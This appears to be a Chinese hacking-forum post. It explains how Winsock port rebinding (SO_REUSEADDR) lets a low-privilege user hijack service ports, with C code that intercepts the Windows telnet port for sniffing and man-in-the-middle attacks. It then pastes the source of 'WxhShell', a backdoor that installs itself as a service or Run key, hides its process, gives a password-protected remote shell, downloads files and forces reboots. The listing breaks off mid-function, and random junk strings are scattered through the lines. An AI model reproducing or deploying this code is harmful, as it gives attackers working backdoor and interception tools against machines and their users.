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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lnUy ? 0(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B7C6Mau  
N*;/~bt7 P  
  saddr.sin_family = AF_INET; H(|v  
#{a<{HX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (C|%@61S  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v%w]Q B  
fk_i~K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T9 1Iz+j  
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  这意味着什么?意味着可以进行如下的攻击: 9:>vl0  
~Fh(4'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yDrJn* r^  
2 r)c?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3]Mx,u  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $6[]c)(  
X;0@41t'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /:)4tIV  
*@Z'{V\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z9y:}:j"  
{zcjTJ=Zt8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 . j },  
hB4.tMgZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bBf+z7iyc  
|m% &Qb  
  #include g}7B0 yo  
  #include 0%GWc}o  
  #include uB?YJf .T@  
  #include    PsVA>Q,4!.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mCo5 Gdt  
  int main()  u[u=:Y+  
  { ,b8AB_yw  
  WORD wVersionRequested; \v<}{\.|$  
  DWORD ret; R:E:Y|&#  
  WSADATA wsaData; LxO'$oKZV  
  BOOL val; 0J" 3RTt  
  SOCKADDR_IN saddr; &W%TY:Da|  
  SOCKADDR_IN scaddr; _nt%&f  
  int err; cW2:D$Pe  
  SOCKET s; ,$Mw/fA  
  SOCKET sc; :d;5Q\C`  
  int caddsize; 2t'&7>Ys{  
  HANDLE mt; :>;#/<3{  
  DWORD tid;   J&?kezs  
  wVersionRequested = MAKEWORD( 2, 2 ); S;C3R5*:  
  err = WSAStartup( wVersionRequested, &wsaData ); POf \l  
  if ( err != 0 ) { 0qv)'[O  
  printf("error!WSAStartup failed!\n"); oT'XcMn  
  return -1; Jq->DzSmj/  
  } w K+2;*bI  
  saddr.sin_family = AF_INET; =W6P>r_  
   :zCm$@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +q(D]:@,[  
.T7ciD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Kj7Osqu2bE  
  saddr.sin_port = htons(23); hH\(> 4l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `@90b 4u  
  { oj/tim  
  printf("error!socket failed!\n"); %2{E'^#)p-  
  return -1; BBDOjhik  
  } hf '3yEm  
  val = TRUE; 2+'&||h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z"-Urd^O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <5.{+!BM  
  { ` mi!"pmw  
  printf("error!setsockopt failed!\n"); m-:k]9I  
  return -1; Oj2[(7 mO/  
  } TCYnErqk  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +1Uw<~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !(]|!F[m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cb+!H>+  
$]vR,E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z<ek?0?yS  
  { a7Jr} "B  
  ret=GetLastError(); tf,_4_7#$  
  printf("error!bind failed!\n"); r&qD!l5y  
  return -1; BBX4^;t  
  } 0Ec -/   
  listen(s,2); 2a G<^3  
  while(1) P>H'od  
  { Av'H(qB\K  
  caddsize = sizeof(scaddr); Zqao4  
  //接受连接请求 ecb[m2z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,W#y7 t  
  if(sc!=INVALID_SOCKET) /xmd]XM=_  
  { dZm{?\^_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a8N!jQc_m  
  if(mt==NULL) 1ayxE(vMcX  
  { i-Z@6\/a5  
  printf("Thread Creat Failed!\n"); D@Q|QY5qic  
  break; b`2~  
  } pyNPdEy  
  } ?vhW`LXNB  
  CloseHandle(mt); rScmUt  
  } au8) G_A  
  closesocket(s); {BJxRH"&6*  
  WSACleanup(); ELm#  
  return 0; hZpFI?lqc\  
  }   []@Mk  
  DWORD WINAPI ClientThread(LPVOID lpParam) zIL.R#|D=  
  { {3;4=R3  
  SOCKET ss = (SOCKET)lpParam; ScI9.{  
  SOCKET sc; W] lFwj  
  unsigned char buf[4096]; qP"m819m  
  SOCKADDR_IN saddr; 1q*3V8  
  long num; sU`#d  
  DWORD val; fhC=MJ @  
  DWORD ret; fF9vV. }  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (YR1ML3N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F2u{Wzr_@  
  saddr.sin_family = AF_INET; bZ389dSn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kqy Y:J  
  saddr.sin_port = htons(23); H1X6f7`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y-Z.AA,  
  { l-mUc1.S  
  printf("error!socket failed!\n"); q3;HfZ  
  return -1; V7&L+]!  
  } G~_dSa@g G  
  val = 100; u^`B#b '  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) # OJD<=")  
  { \dP2xou=  
  ret = GetLastError(); rsP1?Hxq  
  return -1; zRz3ot,|  
  } ci$o~b6V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q H+~rj  
  { xD~:= ]G  
  ret = GetLastError(); 7==Uoy*O  
  return -1; 4g6d6~098;  
  } eX=W+&lj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) AttDD{Ta  
  { Q%85,L^U  
  printf("error!socket connect failed!\n"); lwK Au!l  
  closesocket(sc); I|p(8 R!  
  closesocket(ss); 6VA@;g0$  
  return -1; ^rx]Y;  
  } UCl,sn  
  while(1) * @oAM,@  
  { < B'BlqTS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $Q ?<']|A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {AB0 PM;-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l{;vD=D  
  num = recv(ss,buf,4096,0); 1X=}  
  if(num>0) Jo2:0<VL  
  send(sc,buf,num,0); s]}P jh8  
  else if(num==0) fHM<6i<C  
  break; [Y5B$7|s<  
  num = recv(sc,buf,4096,0); D@!#79:)  
  if(num>0) P[D ^*}  
  send(ss,buf,num,0); H3&$:h  
  else if(num==0) A$ s4Q0Mf  
  break; vmL0H)q  
  } Q|;8\5  
  closesocket(ss); iLgWzA  
  closesocket(sc); rtOXK4)]I  
  return 0 ; pwm ]2}+  
  } _PJd1P.k  
b,s T[!X[  
Og^b'Kx/  
========================================================== `,xKK+~YG-  
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下边附上一个代码,,WXhSHELL >d_O0a*W-  
G !wFG-Y}  
========================================================== X+iUT  
b^rPw@  
#include "stdafx.h" z`'{l {  
@'dtlY5;  
#include <stdio.h> YX- G>.Pc  
#include <string.h> *;Sj&O  
#include <windows.h> b1_HDC(  
#include <winsock2.h> IRD?.K]*  
#include <winsvc.h> |LWG7 ZE  
#include <urlmon.h> {8'I+-  
iFpJ /L  
#pragma comment (lib, "Ws2_32.lib") )p 2kx  
#pragma comment (lib, "urlmon.lib") IE,xiV  
=lA*?'kd  
#define MAX_USER   100 // 最大客户端连接数 H:2#/1Oz>  
#define BUF_SOCK   200 // sock buffer LLCMp3qBz  
#define KEY_BUFF   255 // 输入 buffer Eufw1vDa  
u0\?aeg`  
#define REBOOT     0   // 重启 R{u/r%  
#define SHUTDOWN   1   // 关机 jo/-'Lf{?  
um ,Zt  
#define DEF_PORT   5000 // 监听端口 ~^ Q`dJL  
!5&% P b  
#define REG_LEN     16   // 注册表键长度 ~:v" TuuK  
#define SVC_LEN     80   // NT服务名长度 n YWS'i@  
]|'Mf;  
// 从dll定义API Qn6'E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i#=s_v8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O6 bB CF;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |cUTP!iy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N"@aisi)  
yMB*/vs  
// wxhshell配置信息 Ar,B7-F!  
struct WSCFG { kg1z"EE  
  int ws_port;         // 监听端口 @.@O#  
  char ws_passstr[REG_LEN]; // 口令 [ lW~v:W  
  int ws_autoins;       // 安装标记, 1=yes 0=no $QN}2lJ>  
  char ws_regname[REG_LEN]; // 注册表键名 #[ipJ %  
  char ws_svcname[REG_LEN]; // 服务名 { LZ` _1D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >+LFu?y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R$sG*=a!8j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9/'zk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [AA'Ko  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *`7cvt5]IM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %dw@;IZ#8{  
fIWOo >)D  
}; }\?UmuolQ  
EPkmBru ^  
// default Wxhshell configuration <#k(g\/R  
struct WSCFG wscfg={DEF_PORT, n j0!  
    "xuhuanlingzhe", tUaDwIu#  
    1, 2= S;<J  
    "Wxhshell", XmJu{RbS  
    "Wxhshell", <xv@us7  
            "WxhShell Service", G AI( =  
    "Wrsky Windows CmdShell Service", Y|stxeOC  
    "Please Input Your Password: ", H$^IT#  
  1, 3\JEp,5  
  "http://www.wrsky.com/wxhshell.exe", Xt& rYv  
  "Wxhshell.exe" [Wf%iwB  
    }; .?|pv}V  
!,WO]O v  
// 消息定义模块 A 0~uv4MC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g ]%sX6T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^~XsHmcQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cdY|z]B  
char *msg_ws_ext="\n\rExit."; > PHin%#  
char *msg_ws_end="\n\rQuit."; z3>ldT  
char *msg_ws_boot="\n\rReboot..."; 7|bzopLJk  
char *msg_ws_poff="\n\rShutdown..."; "&lQ5]N.%  
char *msg_ws_down="\n\rSave to "; ]6#bp,  
HtFc+%=  
char *msg_ws_err="\n\rErr!"; i-Er|u; W  
char *msg_ws_ok="\n\rOK!"; }RvinF:5  
-q'G]}  
char ExeFile[MAX_PATH]; Okxuhzn>"  
int nUser = 0; F5s Pd  
HANDLE handles[MAX_USER]; v!~tX*q  
int OsIsNt; AYb-BaIc  
~?E.U,R  
SERVICE_STATUS       serviceStatus; Q#M@!&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Pr|BhX  
,E ]vM&  
// 函数声明 s aY;[bz}  
int Install(void); #$-{hg{  
int Uninstall(void); *5T^wZpj)  
int DownloadFile(char *sURL, SOCKET wsh); ^E-BB 6D  
int Boot(int flag); Fp=O:]  
void HideProc(void); &puPn:_  
int GetOsVer(void); Q &~|P}  
int Wxhshell(SOCKET wsl); cCa+UTxaJ  
void TalkWithClient(void *cs); }3HN $Fwo  
int CmdShell(SOCKET sock); Wl?0|{W  
int StartFromService(void); Qze.1h  
int StartWxhshell(LPSTR lpCmdLine); aq,Ab~V]  
~[a6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d0U-:S-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !DU4iq_.  
FqwH:Fcr:  
// 数据结构和表定义 {mOQRAKl  
SERVICE_TABLE_ENTRY DispatchTable[] = J> Z.2  
{ !pT i.3  
{wscfg.ws_svcname, NTServiceMain}, @'IRh9  
{NULL, NULL} 5TynAiSD_>  
}; 9^+8b9y  
{(#2G,  
// 自我安装 Bl$Hg,in-  
int Install(void) "($"T v2  
{ ;+;%s D  
  char svExeFile[MAX_PATH]; P z< \q;  
  HKEY key; Rq@M~;p  
  strcpy(svExeFile,ExeFile); (Y!{ UNq5  
+YD_ L  
// 如果是win9x系统,修改注册表设为自启动 0)Nu  
if(!OsIsNt) { +%sMd]$,n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !94qF,#1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nY M2Vxi0+  
  RegCloseKey(key); ){}1u ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lD9QS ;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0Ba*"/U]t~  
  RegCloseKey(key); SB x<-^  
  return 0; K&'Vd@  
    } ' Bx"i  
  } ,::f? Gc7j  
} qe[P'\]L  
else { H3#rFO"C*  
?Z(xu~^/  
// 如果是NT以上系统,安装为系统服务 fug F k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BZP{{  
if (schSCManager!=0) Ht4A   
{ P!xN]or]u  
  SC_HANDLE schService = CreateService Wd>gOE  
  ( z{m%^,Cs,  
  schSCManager, eHE?#r16Z  
  wscfg.ws_svcname, XP%/*am  
  wscfg.ws_svcdisp, IoKN.#;^  
  SERVICE_ALL_ACCESS, _jWGwO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g>*P}r~;^b  
  SERVICE_AUTO_START, ihp>cl?  
  SERVICE_ERROR_NORMAL, /< -+*79G  
  svExeFile, M!4}B  
  NULL, i+@t_pxc  
  NULL, D;! aix3  
  NULL, \%/Y(YVm  
  NULL, &"6%D|Z0  
  NULL Um%$TGw5  
  ); 1c4@qQyo  
  if (schService!=0) JRr'81\  
  { v{8W+  
  CloseServiceHandle(schService); NTV@,  
  CloseServiceHandle(schSCManager); Xn6'*u>+;[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PN"SBsc*j-  
  strcat(svExeFile,wscfg.ws_svcname); nnZM{< !hF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |V-)3 #c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H: rrY  
  RegCloseKey(key); / LC!|-1E  
  return 0; %X -G(Z  
    } O>,Rsj!e  
  } FR^(1+lx&  
  CloseServiceHandle(schSCManager); irooFR[L9  
} ,V &RpKek  
} v43FU3  
(|dN6M-.K  
return 1; \5DOp-2  
}  ovsI2  
#`qP7E w  
// 自我卸载 -'Oq.$Qq  
int Uninstall(void) N$! Vm(S  
{ z8JdA%YBM  
  HKEY key;  j|owU  
\O=t5yS  
if(!OsIsNt) { 1X-fiQJe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @+&QNI06S  
  RegDeleteValue(key,wscfg.ws_regname); A(1d q  
  RegCloseKey(key); <IwfiI3y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  % Z-B{I(  
  RegDeleteValue(key,wscfg.ws_regname); |5g1D^b]s^  
  RegCloseKey(key); +Z/aB*aVa^  
  return 0; NR.YeKsBq  
  } el3lR((H  
} h(gpq SN  
} _ lE d8Cb  
else { VRA0p[  
~#PC(g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T{4Ru6[  
if (schSCManager!=0) ay>u``$R  
{ <2ymfL-q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "yf#sEabV  
  if (schService!=0) !b{7gUjyI  
  { :<PwG]LO  
  if(DeleteService(schService)!=0) { [DSD[[ z[  
  CloseServiceHandle(schService); S*'  
  CloseServiceHandle(schSCManager); Z"5ewU<?  
  return 0; &Ef_p-e-P  
  } #G\;)pT  
  CloseServiceHandle(schService); Np2.X+  
  } l~'NqmXe  
  CloseServiceHandle(schSCManager); zrE Dld9  
} hM[QR'\QS  
} $;As7MI  
^nN@@ \-5  
return 1; 56!/E5qgW  
} 'eg;)e:`b+  
w ;]~2$  
// 从指定url下载文件 c=u'#|/eb  
int DownloadFile(char *sURL, SOCKET wsh) BkJNu_{m?  
{ 0Q5fX}  
  HRESULT hr; SwdUElEp  
char seps[]= "/"; ;To][J  
char *token; XHYVcwmDz-  
char *file; +&qj`hA-b  
char myURL[MAX_PATH]; R6E.C!EI  
char myFILE[MAX_PATH]; W?2Z31;7  
/2fQM_ ,P  
strcpy(myURL,sURL); MB!$s_~o#L  
  token=strtok(myURL,seps); <,huajQs  
  while(token!=NULL) 7#9yAS+x(  
  { uS&NRf9A  
    file=token; hM~zO1XW  
  token=strtok(NULL,seps); gQlL0jAV  
  } "FH03 9  
_su$]s  
GetCurrentDirectory(MAX_PATH,myFILE); ]`u_d}`  
strcat(myFILE, "\\"); #9 u2LK  
strcat(myFILE, file); !fK9YW(Im  
  send(wsh,myFILE,strlen(myFILE),0); OE[N$,4I*  
send(wsh,"...",3,0); D.Z4noMA6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t`eUD>\  
  if(hr==S_OK) 'J(B{B7|  
return 0; <p\iB'y  
else 09w<@#  
return 1; (@ixV$Y  
N3?@CM^hHw  
} '/~j!H4q9  
B,avI&7M;S  
// 系统电源模块 5~E'21hJ  
int Boot(int flag) B<6Ye9zuG  
{ | x/Z qY  
  HANDLE hToken; ?n V& :~eY  
  TOKEN_PRIVILEGES tkp; THf*<|  
\%$z!]S>  
  if(OsIsNt) { 6rg?0\A<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KQ2jeJ/pj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +"F9yb  
    tkp.PrivilegeCount = 1; ~"8)9&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >'e(|P4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kzXmiBL<9  
if(flag==REBOOT) { 5$Da\?Fpn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )Y 9JP@}T  
  return 0; MrFi0G7u  
} 5@< D6>6  
else { HZEDr}RN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1@ .Eh8y  
  return 0; 5,u'p8}.  
} ~|.vz!A  
  } $Oi@B)=4d+  
  else { 0MX``/Z72  
if(flag==REBOOT) { XfYhLE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?JI:>3e  
  return 0; a534@U4,  
} f]37Xl%I  
else { ^Uq"hT(41  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 18];fC  
  return 0; 2m0laJ3p9  
} _7Rp.)[&  
} (OT&:WwW  
zcE[wM  
return 1; w;4FN'  
} p 7eRAQ\'  
e9@7GaL`"S  
// win9x进程隐藏模块 8nQjD<-  
void HideProc(void) 0VBbSn}Z<  
{ 3gNVnmZG  
,+hH|$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K3On8  
  if ( hKernel != NULL ) |A%Jx__  
  { 'v:%} qMv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); > nOU 8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LJ+Qe%|  
    FreeLibrary(hKernel); mOE%:xq9-  
  } Ed+"F{!eQ  
">hOD'PG  
return; b%"Lwqdr7  
} TX7]$Wj  
Cp[ NVmN  
// 获取操作系统版本 j& ~`wGM  
int GetOsVer(void) 6|AD]/t^K  
{ YH^h ?s  
  OSVERSIONINFO winfo; mH\eJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "JJEF2e@Z  
  GetVersionEx(&winfo); @EV*QC2l;Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QM 'Db`B  
  return 1; E0-<-w3'  
  else :$gR >.`  
  return 0;  Re^~8q[  
} f9FLtdh \7  
I|oS`iLl$  
// 客户端句柄模块 l1MVC@'pvP  
int Wxhshell(SOCKET wsl) l\%LT{$e  
{ SFQYrY  
  SOCKET wsh; ]F81N(@:F  
  struct sockaddr_in client; $bd2TVNV:  
  DWORD myID; [/iT D=O,  
P}RewMJ$L  
  while(nUser<MAX_USER) @.SuHd  
{ 1w/Ur'8we  
  int nSize=sizeof(client); D`C#O 7.N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TE!+G\@  
  if(wsh==INVALID_SOCKET) return 1; D<:J6W7]  
::eYd23  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); : ZWKrnG  
if(handles[nUser]==0) _0: }"!Gq  
  closesocket(wsh); n%Df6zQ<@s  
else M)v4>Rw+  
  nUser++; G378,H  
  } %=GF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *sbZ{{]e  
;%_s4  
  return 0; F:B 8J4/  
} P/hV{@x  
@fz!]/  
// 关闭 socket qPI1\!z6  
void CloseIt(SOCKET wsh) h.ln%6:d  
{ U81--'@y  
closesocket(wsh); r(Vz(  
nUser--; m}oqs0xx  
ExitThread(0); GZ@`}7b}  
} ;ZVT[gi*  
yv2N5IQ>{V  
// 客户端请求句柄 ?cRGdLP'D  
void TalkWithClient(void *cs) b!J%s   
{ Sl7x>=  
iF#|Z$g-(  
  SOCKET wsh=(SOCKET)cs; 2\/,X CQV  
  char pwd[SVC_LEN]; mIy|]e`SJ  
  char cmd[KEY_BUFF]; Un[ 0or  
char chr[1]; 9KgGK cy%  
int i,j; Gi=s|vt  
t6JM%  
  while (nUser < MAX_USER) { $ /p/9 -  
k~,({T<  
if(wscfg.ws_passstr) { ! O~:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2/ES.>K!.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  <RaM@E  
  //ZeroMemory(pwd,KEY_BUFF); ZJ Ke}F`l  
      i=0; N ">4I)  
  while(i<SVC_LEN) { eGF+@)K1"  
>&g^ `  
  // 设置超时 0!fT:Ra  
  fd_set FdRead; _9<nM48+t  
  struct timeval TimeOut; 2b i:Q9  
  FD_ZERO(&FdRead); v%2@M  
  FD_SET(wsh,&FdRead); AIU=56+I\  
  TimeOut.tv_sec=8; :kb2v1{\  
  TimeOut.tv_usec=0; xxS>O%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pn|;VCh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :{Mr~Co*  
Q 2mTu[tx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7XU$O$C  
  pwd=chr[0]; b$W~w*O   
  if(chr[0]==0xd || chr[0]==0xa) { %&[=%zc  
  pwd=0; #PJHwvr  
  break; "z6 xS;  
  } |3{"ANmm'  
  i++; ;if PqL kO  
    } N R0"yJV>  
nd4Z5=X  
  // 如果是非法用户,关闭 socket fb*h.6^y9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *+|,rcI  
} :H(wW   
jo}yeGbU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z?I"[M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +~[>Usf  
3Ud{W$Ym  
while(1) { dWK"Tkf\  
e\7AtlW"  
  ZeroMemory(cmd,KEY_BUFF); y:Ne}S*ncE  
2P( 6R.8;6  
      // 自动支持客户端 telnet标准   C4H$w:bVk  
  j=0; D<wz%*  
  while(j<KEY_BUFF) { p-o8Ctc?V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V7}]39m(s  
  cmd[j]=chr[0]; =73aME}  
  if(chr[0]==0xa || chr[0]==0xd) { h; "pAE  
  cmd[j]=0; Hq;*T3E  
  break; UrRYK-g  
  } h7a/]~  
  j++; w =2; QJ<  
    } ~4V-{-=0a7  
j' }4ZwEh  
  // 下载文件 4Wk`P]?^  
  if(strstr(cmd,"http://")) { -%)S~ R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /:.p{y  
  if(DownloadFile(cmd,wsh)) r"&uW !~0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b'1m 9T780  
  else %+ : $uk[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >*]dB|2  
  } yE_T#FN  
  else { )zv"<>Q 6  
VYw<8AEFY  
    switch(cmd[0]) { k((kx:  
  0 H0U%x8  
  // 帮助 i*jnC>  
  case '?': { Min {&?a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I1 +A$<Fa  
    break; #\ l#f8(l  
  } pJo#7rxd6  
  // 安装 [O@U@bD9  
  case 'i': { me YSW  
    if(Install()) E@J}(76VS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZE[NQ8  
    else 7:'5q]9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,:6.Gi)|  
    break; JE_GWgwdv  
    } OD6dMql  
  // 卸载 9yYNX;C  
  case 'r': { AK//]   
    if(Uninstall()) a^eR~efdu@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "BA&  
    else 1deK}5'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UXPF"}S2  
    break; OIY  
    } gHox>r6.A  
  // 显示 wxhshell 所在路径 cXIuGvE&=  
  case 'p': { RHu4cK!5  
    char svExeFile[MAX_PATH]; k[a5D/b  
    strcpy(svExeFile,"\n\r"); sp7#e%R\  
      strcat(svExeFile,ExeFile); -#`tS  
        send(wsh,svExeFile,strlen(svExeFile),0); 3U9leY'2N  
    break; L~!Lq4]V\g  
    } 0 } |21YED  
  // 重启 (YY!e2  
  case 'b': { Zjn![  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (vPE?^}b  
    if(Boot(REBOOT)) '-V[t yE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l9+)h }  
    else { X&gXhr#dL\  
    closesocket(wsh); tpQ8 m(  
    ExitThread(0); |[iEi  
    } *t bgIW+h  
    break; p?#xd!tc2N  
    } YDaGr6y4i  
  // 关机 I|tn7|*-A[  
  case 'd': { ,GMuq_H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 49Hgq/uO  
